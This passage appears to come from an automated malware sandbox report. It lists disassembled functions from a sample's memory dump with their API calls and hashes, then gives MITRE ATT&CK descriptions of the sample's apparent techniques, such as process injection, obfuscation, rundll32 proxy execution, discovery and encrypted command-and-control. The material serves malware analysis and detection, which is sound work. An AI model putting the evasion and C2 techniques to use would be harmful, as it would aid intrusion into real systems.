Instruction Fuzzy Hash: AD1139B4D04208EFDB08CFD4C480B9DB7B6EB89314F208598E8159B780D775AE85DF81

Uniqueness

Uniqueness Score: -1.00%

Function 6E6CBC30, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000), ref: 6E6CBC8C

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e1e030cb7cf6f4480236a6730decd8485518a40f1470db5c4550dc6a7d37a0fc
Instruction ID: 09d65b522941a98eb4ba1141dc0974088782b1da5a5b15cd173161f63b73cb62
Opcode Fuzzy Hash: e1e030cb7cf6f4480236a6730decd8485518a40f1470db5c4550dc6a7d37a0fc
Instruction Fuzzy Hash: 6D01CC75A00608EFCB04DFE9D855E9FB7B9EF89700F108558F9159B240DB34A911CB55

Uniqueness

Uniqueness Score: -1.00%

Function 6E6E1DB0, Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(6E6E1C70,00000001), ref: 6E6E1DF7

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: f9dbc3531aa870b0c7e509d12ea74025cbddab446db5eb5656ef02b146120f7c
Instruction ID: 99e9c4d045c641cfefdbfebc257565df05377e3bed1b5cab392c0d821609ffea
Opcode Fuzzy Hash: f9dbc3531aa870b0c7e509d12ea74025cbddab446db5eb5656ef02b146120f7c
Instruction Fuzzy Hash: B6F09074E05208AFDB00CFE4D841B8EBBB5EB46314F108494E8059B780D772EE94DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6E6CB0B0, Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(00000000,00000001), ref: 6E6CB0D4

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 5346006e0ba90a191017783cda67f830da3439a6a3ef5b2a0730d06d0e6f30f5
Instruction ID: 2302d6b71c75798383a889e4768baa48243b78530914737c074212ebc8438831
Opcode Fuzzy Hash: 5346006e0ba90a191017783cda67f830da3439a6a3ef5b2a0730d06d0e6f30f5
Instruction Fuzzy Hash: BFF030B4D44708BBDF00DBF4D806ADE7B7CEB21714F0045B5E80997240EB316A59C796

Uniqueness

Uniqueness Score: -1.00%

Function 6E79B64D, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.900456744.000000006E79B000.00000040.00020000.sdmp, Offset: 6E79B000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction ID: cd3ddaa441a3b472e5a142969e197ec91c2828b8fe5ab0151c11ecb648c086c9
Opcode Fuzzy Hash: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction Fuzzy Hash: E71193733406019FD754CE99ED90E9273EAEF99230B258166ED04CB329D636F851C764

Uniqueness

Uniqueness Score: -1.00%

Function 6E79B942, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.900456744.000000006E79B000.00000040.00020000.sdmp, Offset: 6E79B000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction ID: 3fa0b8acedcf370f147b8d438350011b4b2620407ce59a40f4036ec8f3e2649f
Opcode Fuzzy Hash: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction Fuzzy Hash: A101C076364241CFD744CBA9EA94E69B7E4EFC2334B15807EC4468772AD224FC45DA24

Uniqueness

Uniqueness Score: -1.00%

Function 6E6C47C0, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5fa89dcbc29637d2ac05b4a81dd5d1e7e0efd0d5c3ecf96455fa5c90b4eae7d
Instruction ID: 86a0e527da941d84f2c3c50bae2548053f90140e4ba81bbe7d100b0ac5a6ed77
Opcode Fuzzy Hash: b5fa89dcbc29637d2ac05b4a81dd5d1e7e0efd0d5c3ecf96455fa5c90b4eae7d
Instruction Fuzzy Hash: 19F0A02455F2C46ADB02CAE640213EA7F68DF43B04F0400C8C4801B246D1AAC54BD362

Uniqueness

Uniqueness Score: -1.00%

Function 6E6CE220, Relevance: 28.8, APIs: 19, Instructions: 334COMMON

Download Yara Rule

APIs

__wcstombs_l.LIBCMTD ref: 6E6CE2D4
__invoke_watson_if_error.LIBCMTD ref: 6E6CE2DD
__aligned_msize.LIBCMTD ref: 6E6CE326
__invoke_watson_if_error.LIBCMTD ref: 6E6CE32F

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: __invoke_watson_if_error$__aligned_msize__wcstombs_l
String ID:
API String ID: 2802205028-0
Opcode ID: e34e5bb0d14869ed7e209b227595df2dd2f94b344f7652740c765fc193a30584
Instruction ID: 5094b2efde8d60c23e6ca42fb2d973029f544708be97358c59df43ec7df68307
Opcode Fuzzy Hash: e34e5bb0d14869ed7e209b227595df2dd2f94b344f7652740c765fc193a30584
Instruction Fuzzy Hash: 47C1B2B1900219ABDB50CF94CD41FEE7379EB44708F144499F909BB282EB75AB908F95

Uniqueness

Uniqueness Score: -1.00%

Function 6E6D6EB0, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

<program name unknown>, xrefs: 6E6D6F8D

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID:
String ID: <program name unknown>
API String ID: 0-554726554
Opcode ID: 539fed22f16fd37e00747bab6aabdb88484a8b2e6d8a18a0909b4c420cfcb74b
Instruction ID: 1aed0e30159b1321161782b7e48917f89a1944b0b159b6ec4051b0c2d176d06a
Opcode Fuzzy Hash: 539fed22f16fd37e00747bab6aabdb88484a8b2e6d8a18a0909b4c420cfcb74b
Instruction Fuzzy Hash: 3F41E4B5F402147BDB00DAE8AE46F9E7B299B50309F644854F904BF3E3FA30A71056D6

Uniqueness

Uniqueness Score: -1.00%

Function 6E6951B0, Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 293COMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000006,?,00000000,?,6E6961A2,?,?,?,?,?,?,?,6E6C94CC,00000002,?,00000000), ref: 6E6951F0
__invoke_watson_if_error.LIBCMTD ref: 6E695293

Strings

hqn, xrefs: 6E695381
Lqn, xrefs: 6E69552A, 6E695530
@, xrefs: 6E69535F
Lqn, xrefs: 6E69542A
@, xrefs: 6E6952BC
Lqn, xrefs: 6E6953B7
Lqn, xrefs: 6E6954B9

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: HandleModule__invoke_watson_if_error
String ID: @$@$Lqn$Lqn$Lqn$Lqn$hqn
API String ID: 3976807648-4274109772
Opcode ID: ccf54e217f11ef57163841970747f5e30896f87261bd25e2d67e82ae6f690019
Instruction ID: c249d8d9342925b1c6a319ff9cfc0f29ee5cc00fca7e692f39455ab1e00fdc40
Opcode Fuzzy Hash: ccf54e217f11ef57163841970747f5e30896f87261bd25e2d67e82ae6f690019
Instruction Fuzzy Hash: 45D1ACB090432AEBEB24DFD0DC49BDAB374EB54705F0041E9E5086A290E3709BC5DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6E6A0AD0, Relevance: 16.7, APIs: 11, Instructions: 227COMMON

Download Yara Rule

APIs

__ctrlfp.LIBCMTD ref: 6E6A0AE2
__sptype.LIBCMTD ref: 6E6A0B0A
__ctrlfp.LIBCMTD ref: 6E6A0B32
__except2.LIBCMTD ref: 6E6A0B96
__ctrlfp.LIBCMTD ref: 6E6A0BBA
__copysign.LIBCMTD ref: 6E6A0C4A
__except2.LIBCMTD ref: 6E6A0C71
__except2.LIBCMTD ref: 6E6A0CCE
__except2.LIBCMTD ref: 6E6A0D13

Part of subcall function 6E6D10D0: __raise_exc.LIBCMTD ref: 6E6D1143
Part of subcall function 6E6D10D0: __errcode.LIBCMTD ref: 6E6D114F
Part of subcall function 6E6D10D0: __umatherr.LIBCMTD ref: 6E6D119C

__except2.LIBCMTD ref: 6E6A0D70

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: __except2$__ctrlfp$__copysign__errcode__raise_exc__sptype__umatherr
String ID:
API String ID: 2970023028-0
Opcode ID: 6afe14827e519ec56dc16e6e7a2ddd3c573da40a08dd955d1097d350a29da461
Instruction ID: dfca4cb0873f10bf631e476ebf557ef98e033c6888a2a5906e701c617f552fbe
Opcode Fuzzy Hash: 6afe14827e519ec56dc16e6e7a2ddd3c573da40a08dd955d1097d350a29da461
Instruction Fuzzy Hash: 2D815671C1490DEBCB40BFE9E9496EDBF74BF49309F5049A8EAC021188EB31467C8796

Uniqueness

Uniqueness Score: -1.00%

Function 6E694CE0, Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000006,?,00000000), ref: 6E694D20
__invoke_watson_if_error.LIBCMTD ref: 6E694DC3

Strings

hqn, xrefs: 6E694EA2
@, xrefs: 6E694E80
@, xrefs: 6E694DEC

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: HandleModule__invoke_watson_if_error
String ID: @$@$hqn
API String ID: 3976807648-881552133
Opcode ID: baa49d8bd1cf2eb67061dc45686510c608bac7f604230998566cf09268e862d7
Instruction ID: d166548204b78dc7b607ac6104143d0abe2742f32c4d6174dc877f7b133c5faf
Opcode Fuzzy Hash: baa49d8bd1cf2eb67061dc45686510c608bac7f604230998566cf09268e862d7
Instruction Fuzzy Hash: 01D19EB090432ADFDB24CF90CC89BDAB7B5EB69305F0040D9E6186B290E7709AC5DF95

Uniqueness

Uniqueness Score: -1.00%

Function 6E6E9A50, Relevance: 13.8, APIs: 9, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6E6EAB41,?,00000006,?), ref: 6E6E9A88
__fassign.LIBCMTD ref: 6E6E9BB3
__fassign.LIBCMTD ref: 6E6E9C0D
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,6E6EAB41,00000005,00000000,00000000), ref: 6E6E9D10
WriteFile.KERNEL32(?,6E6EAB41,00000000,?,00000000), ref: 6E6E9D4D
GetLastError.KERNEL32 ref: 6E6E9D57

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: __fassign$ByteCharConsoleErrorFileLastMultiWideWrite
String ID:
API String ID: 3321916596-0
Opcode ID: 2355968a5a2b7e8683fc75b2f5eed1f0e7462c3a075ca4aec6c8f09cd5eaa615
Instruction ID: 3ad3e264230605c90a1994aa92e480bbff3e072c2d74483fc80c48e7fc65f997
Opcode Fuzzy Hash: 2355968a5a2b7e8683fc75b2f5eed1f0e7462c3a075ca4aec6c8f09cd5eaa615
Instruction Fuzzy Hash: BAE12674A152099FCB08CF98D581AEEBBF1BF89304F24C159E919AB785D731E942CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E6A08F0, Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

__ctrlfp.LIBCMTD ref: 6E6A097A
__sptype.LIBCMTD ref: 6E6A09AD
__ctrlfp.LIBCMTD ref: 6E6A09D5
__ctrlfp.LIBCMTD ref: 6E6A09EE
__ctrlfp.LIBCMTD ref: 6E6A0A07
__except1.LIBCMTD ref: 6E6A0A37

Part of subcall function 6E6D0FD0: __raise_exc.LIBCMTD ref: 6E6D1031
Part of subcall function 6E6D0FD0: __errcode.LIBCMTD ref: 6E6D103D
Part of subcall function 6E6D0FD0: __umatherr.LIBCMTD ref: 6E6D1089

__except1.LIBCMTD ref: 6E6A0A8A

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: __ctrlfp$__except1$__errcode__raise_exc__sptype__umatherr
String ID:
API String ID: 2036792732-0
Opcode ID: 1bf939260930949f51943800831b62188c4e9292a8efabda214fbd424ca0e5ff
Instruction ID: 816bd29152a1068cc68d60890c44a4da2d5a914150131bc9d7e4ae8024708d79
Opcode Fuzzy Hash: 1bf939260930949f51943800831b62188c4e9292a8efabda214fbd424ca0e5ff
Instruction Fuzzy Hash: 43410670D0020EEBDB50AFD8EC0ABDD7B34AF06309F1049A4EB84292C5EB715A5CD392

Uniqueness

Uniqueness Score: -1.00%

Function 6E6D4060, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 228COMMON

Download Yara Rule

Strings

*, xrefs: 6E6D4177
*, xrefs: 6E6D435C
", xrefs: 6E6D4209
", xrefs: 6E6D433D

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID:
String ID: "$"$*$*
API String ID: 0-3534430112
Opcode ID: b2407998c905a2d3772a706536e16cd5cdf40798e9b9bf76f928d91c2186b734
Instruction ID: 98a7ad3fafb9877d8614477e06620241897e92536222f8dc9a92dde9c431cae8
Opcode Fuzzy Hash: b2407998c905a2d3772a706536e16cd5cdf40798e9b9bf76f928d91c2186b734
Instruction Fuzzy Hash: 4E918B7091024AEFEF10DFC4C859BEE77B4EF56308F508518E9106B295C7B59E8ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 6E693DD0, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

APIs

UnDecorator::getTemplateName.LIBVCRUNTIMED ref: 6E693E44
und_strncmp.LIBCMTD ref: 6E693EC4
DName::getString.LIBCMTD ref: 6E693F59
Replicator::isFull.LIBCMTD ref: 6E694093

Strings

@, xrefs: 6E693E75

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: Decorator::getFullNameName::getReplicator::isStringTemplateund_strncmp
String ID: @
API String ID: 1106836056-2766056989
Opcode ID: b33b52adc3e4699d12934f39b8d70f450f2775d0bd4f96351b6f1b130137ceea
Instruction ID: ea97c77d0ad684f5a68dfba11112ee9272c8454f6020061b12ca5c581e43dd5b
Opcode Fuzzy Hash: b33b52adc3e4699d12934f39b8d70f450f2775d0bd4f96351b6f1b130137ceea
Instruction Fuzzy Hash: 28918E719001099FDF04CFF4C8D0AEEBBB9BF59308F00846AE5166B254EB356906CF64

Uniqueness

Uniqueness Score: -1.00%

Function 6E6D0400, Relevance: 9.4, APIs: 6, Instructions: 411COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eb5a99a1b491bb68d90ecef951507b68b12ac3eed9737de2c7964dfe762d9b5
Instruction ID: 6b4a763b70e9f9694651b191bfda9223c273ca0fcb4ef3eb688854ab0f82f1e7
Opcode Fuzzy Hash: 2eb5a99a1b491bb68d90ecef951507b68b12ac3eed9737de2c7964dfe762d9b5
Instruction Fuzzy Hash: C802137091020ADFDB54CFD8C894BEEB7B6BF46324F508219E4656B290E734AA49CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6E6A0570, Relevance: 9.1, APIs: 6, Instructions: 73COMMON

Download Yara Rule

APIs

__ctrlfp.LIBCMTD ref: 6E6A0587
__sptype.LIBCMTD ref: 6E6A05AF
__ctrlfp.LIBCMTD ref: 6E6A05D7
__ctrlfp.LIBCMTD ref: 6E6A05ED
__except1.LIBCMTD ref: 6E6A0621

Part of subcall function 6E6D0FD0: __raise_exc.LIBCMTD ref: 6E6D1031
Part of subcall function 6E6D0FD0: __errcode.LIBCMTD ref: 6E6D103D
Part of subcall function 6E6D0FD0: __umatherr.LIBCMTD ref: 6E6D1089

__ctrlfp.LIBCMTD ref: 6E6A0646

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: __ctrlfp$__errcode__except1__raise_exc__sptype__umatherr
String ID:
API String ID: 2015137074-0
Opcode ID: 58ca5294a0c87f01e130ff4802f255aa1f60e45e0fe84a70fcad490bad08a746
Instruction ID: 91a8c25289dc5838603e0f1a62d24a08dd35530c1ca01154edd3e2797886d787
Opcode Fuzzy Hash: 58ca5294a0c87f01e130ff4802f255aa1f60e45e0fe84a70fcad490bad08a746
Instruction Fuzzy Hash: EB21F875C4010EE7CF50AFD8ED4A4EC7B74EF45309F1085B4FA581A185EA309A6CD752

Uniqueness

Uniqueness Score: -1.00%

Function 6E6CFC10, Relevance: 7.8, APIs: 5, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a0b900957713e25c21691c2504abca4a4500acda5f482a6eccb2e633b73f084
Instruction ID: 4ca4045306901765d0be30dd359b54b25d1852e1dbbda7125e8a26f48d55dc51
Opcode Fuzzy Hash: 2a0b900957713e25c21691c2504abca4a4500acda5f482a6eccb2e633b73f084
Instruction Fuzzy Hash: 24B13A70A00209EFDB04CFD4C994BDEB7B5FF4A714F208558E426AB394DB34AA44DB96

Uniqueness

Uniqueness Score: -1.00%

Function 6E6CDBF0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

U, xrefs: 6E6CDC16

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: c88c03ce02b3aba1f88a7bce53cf479ea4a7a5fc76439293168655a1f28c7749
Instruction ID: 01f2a30b76341e715fdd74d033daea136b40ff5b7155fd2d3db18741b9ee0426
Opcode Fuzzy Hash: c88c03ce02b3aba1f88a7bce53cf479ea4a7a5fc76439293168655a1f28c7749
Instruction Fuzzy Hash: 7111C875E50208FBCB40DAE8CD45FCD777CDB45709F104998F505BB282E67197408B96

Uniqueness

Uniqueness Score: -1.00%

Function 6E6EA460, Relevance: 6.1, APIs: 4, Instructions: 146fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000), ref: 6E6EA5B0
GetLastError.KERNEL32 ref: 6E6EA5C5
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 6E6EA655
GetLastError.KERNEL32 ref: 6E6EA65F

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: ErrorLast$ByteCharFileMultiWideWrite
String ID:
API String ID: 3971981585-0
Opcode ID: 25dc9e5f8cfd806c0696daafad68a9672dbbb118939837377ae6715022847854
Instruction ID: 963736efaa0001f804cc04a945ea9b82e834dc47cf0ca0a9d6a5e1bdd7ea4483
Opcode Fuzzy Hash: 25dc9e5f8cfd806c0696daafad68a9672dbbb118939837377ae6715022847854
Instruction Fuzzy Hash: 8971B2B4A052299FCB24CF58C980AD9B7B5BF49304F5481E9E80DA73A4D730AEC5CF64

Uniqueness

Uniqueness Score: -1.00%

Function 6E6D75F0, Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000,00000000,00000000), ref: 6E6D7652
__wcstombs_l.LIBCMTD ref: 6E6D76A7
MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000), ref: 6E6D773A
GetStringTypeW.KERNEL32(?,00000000), ref: 6E6D777A

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: ByteCharMultiWide$StringType__wcstombs_l
String ID:
API String ID: 2895191225-0
Opcode ID: 05bf7d82455fd487e8de6ad4f4fdece1184a421c06f7c80ec5e7f97b04f49686
Instruction ID: 9081214556a63773dabe44e2859c4cc4fd75f23e1e05ce9617ca662482f4569c
Opcode Fuzzy Hash: 05bf7d82455fd487e8de6ad4f4fdece1184a421c06f7c80ec5e7f97b04f49686
Instruction Fuzzy Hash: 3C5129B1910209EFDB04DFE8C895FEEB7B8BF05304F504958E511A7290EB34AA49CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6E6D6D80, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4), ref: 6E6D6D97
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 6E6D6E92

Strings

nmn, xrefs: 6E6D6DEE

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: FileHandleWrite
String ID: nmn
API String ID: 3320372497-323993321
Opcode ID: 7cc5bddcdd369a3af8382694edc41ab19930a20ea3bf7f04bd9e2ce3c8976c74
Instruction ID: 03158087a6bf8175c1178579dd195d46ea3694f3d0149b3cf3b967921eb69da2
Opcode Fuzzy Hash: 7cc5bddcdd369a3af8382694edc41ab19930a20ea3bf7f04bd9e2ce3c8976c74
Instruction Fuzzy Hash: 6C31F67094432E8FCB24CF58C998BE9B7B5BB49304F1082E9D52967295CB306E84CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E6CDD60, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__aligned_msize.LIBCMTD ref: 6E6CDD87
__invoke_watson_if_error.LIBCMTD ref: 6E6CDD90

Part of subcall function 6E6CEB30: __aligned_msize.LIBCMTD ref: 6E6CEB8B
Part of subcall function 6E6CEB30: __invoke_watson_if_error.LIBCMTD ref: 6E6CEB94

Strings

cln, xrefs: 6E6CDD7B, 6E6CDD7E

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: __aligned_msize__invoke_watson_if_error
String ID: cln
API String ID: 4254006664-2129909538
Opcode ID: 3da618a08a83079ac8b85b5198cab2ce8981280e2cc757c197b06839ee35a7f1
Instruction ID: 0dac4f6b870ce74368186550f3fe376c987202c4f94199d1f353c589c7229983
Opcode Fuzzy Hash: 3da618a08a83079ac8b85b5198cab2ce8981280e2cc757c197b06839ee35a7f1
Instruction Fuzzy Hash: 441161B560020577DB44DE98CC56FFB376DEB84744F148528FA199F383DA70E91087A5

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
